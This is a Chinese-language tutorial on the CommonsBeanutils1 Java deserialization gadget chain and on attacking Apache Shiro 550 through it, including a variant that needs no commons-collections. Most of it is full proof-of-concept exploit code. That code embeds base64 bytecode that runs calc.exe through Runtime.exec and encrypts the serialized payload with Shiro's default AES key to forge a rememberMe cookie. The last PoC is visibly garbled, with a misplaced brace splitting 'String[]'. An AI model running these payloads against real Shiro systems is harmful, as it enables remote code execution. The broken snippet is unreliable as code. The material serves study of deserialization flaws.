CB利用链及无依赖打Shiro
前言
前面已经学习了CC1到CC7的利用链,其中在CC2中认识了java.util.PriorityQueue
,它在Java中是一个优先队列,队列中每一个元素有自己的优先级。在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序就涉及到大小比较,进而执行java.util.Comparator
接口的compare()
方法。
那么是否还能找到其他可以利用的java.util.Comparator
对象呢?
Apache Commons Beanutils
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法
比如,Cat是一个最简单的JavaBean类
final public class Cat {
private String name = "catalina";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。
commons-beanutils中提供了一个静态方法PropertyUtils.getProperty
,让使用者可以直接调用任意JavaBean的getter方法,比如
PropertyUtils.getProperty(new Cat(), "name");
此时,commons-beanutils会自动找到name属性的getter方法,也就是getName
,然后调用,获得返回值。除此之外,PropertyUtils.getProperty
还支持递归获取属性,比如a对象中有属性b,b对象 中有属性c,我们可以通过PropertyUtils.getProperty(a, "b.c")
; 的方式进行递归获取。通过这个 方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。 当然,commons-beanutils中诸如此类的辅助方法还有很多,如调用setter、拷贝属性等。
getter
前边说了,我们需要找可以利用的java.util.Comparator
对象,在commons-beanutils包中就存在一个:org.apache.commons.beanutils.BeanComparator
BeanComparator 是commons-beanutils提供的用来比较两个JavaBean是否相等的类,其实现了java.util.Comparator接口。我们看它的compare方法
这个方法传入两个对象,如果this.property
为空,则直接比较这两个对象;如果this.property
不为空,则用PropertyUtils.getProperty
分别取这两个对象的this.property
属性,比较属性的值,上一节我们说了,PropertyUtils.getProperty
这个方法会自动去调用一个JavaBean的getter方法,这个点是任意代码执行的关键。有没有什么getter方法可以执行恶意代码呢?
在[Java安全之动态加载字节码(https://www.cnblogs.com/gk0d/p/16880749.html)中,在分析TemplatesImpl
时,有过这么一段描述
追溯到到最前面两个方法TemplatesImpl#getOutputProperties()
,TemplatesImpl#newTransformer()
,这两者的作用域是public,可以被外部调用
其中TemplatesImpl#getOutputProperties()
方法是调用链上的一环,它的内部调用了 TemplatesImpl#newTransformer()
,也就是我们后面常用来执行恶意字节码的地方。
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
而getOutputProperties
这个名字,是以get开头,正符合getter的定义。
所以,PropertyUtils.getProperty(o1,property)
这段代码,当o1是一个TemplatesImpl
对象,而 property 的值为 outputProperties
时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties()
方法,触发代码执行。
利用链构造
首先创建TemplateImpl:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
然后,实例化BeanComparator
,BeanComparator
构造函数为空时,默认的property
就是空:
final BeanComparator comparator = new BeanComparator();
然后用这个comparator实例化优先队列PriorityQueue
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
可见,我们添加了两个无害的可以比较的对象进队列中。前文说过, BeanComparator#compare()
中, 如果this.property 为空,则直接比较这两个对象。这里实际上就是对两个1
进行排序。
初始化时使用正经对象,且property
为空,这一系列操作是为了初始化的时候不要出错。然后,我们再用反射将property的值设置成恶意的outputProperties
,将队列里的两个1替换成恶意的TemplateImpl
对象:
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj})
最终POC如下:
package org.example;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "gk0d");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
Shiro550
之前在利用TemplatesImpl攻击Shiro中写了利用CC链加TemplatesImpl
来攻击Shiro。
这里说一下,Shiro
是依赖于commons-beanutils
的,所以说只要有shiro
就一定有CB,用CB利用链肯定会更加方便。
构造POC:
使用上面的CB链进行加密打Shrio试试
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class cb_shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "Arsene.Tang");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator();
Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}
Caused by:java.io.InvalidClassException:org.apache.commons.beanutils.BeanComparator;local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
serialVersionUID
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通 信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会 根据固定算法计算出一个当前类的serialVersionUID
值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID
不同,则反序列化就会异常退出,避免后续的未知隐患。
当然,开发者也可以手工给类赋予一个serialVersionUID
值,此时就能手工控制兼容性了。
我们在生成rememberMe
的时候本地使用的是commons-beanutils1.9.4
版本,而shiro自带的是1.8.3
版本。出现了serialVersionUID
对应不上的问题。
所以我们直接将本地的commons-beanutils也换成1.8.3版本。再次生成Payload进行测试,仍然没有触发代码执行。
没找到org.apache.commons.collections.comparators.ComparableComparator
类,从包名即可看出,这个类是来自于commons-collections
,commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽 然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。
无依赖的Shiro反序列化利用链
看看org.apache.commons.collections.comparators.ComparableComparator
这个类在哪里使用了:
在BeanComparator
类的构造函数处,当没有显式传入Comparator
的情况下,则默认使用 ComparableComparator
。
既然此时没有ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:
- 实现 java.util.Comparator接口
- 实现java.io.Serializable接口
- Java、shiro或commons-beanutils自带
public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;
public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}
CaseInsensitiveComparator
类是java.lang.String
类下的一个内部私有类,其实现了 Comparator
和Serializable
,且位于Java的核心代码
通过String.CASE_INSENSITIVE_ORDER
即可拿到上下文中的CaseInsensitiveComparator
对象,用它来实例化 BeanComparator
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
最后构造处新的利用链
package org.example;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.io.*;
import java.util.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import static java.util.Base64.getDecoder;
public class cb_shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
public static void main(St
}ring[] args) throws Exception {
byte[] code = getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
final Queue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
// ⽣成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] payload= barr.toByteArray();
AesCipherService aes = new AesCipherService();
byte [] key = getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource finalpayload = aes.encrypt(payload,key);
System.out.println(finalpayload.toString());
}
}
又报错,因为我们后面添加的是两个整形对象,不能转换成字符串类型,那我们把1
改成"1"
就解决了
queue.add(“1”);
queue.add(“1”);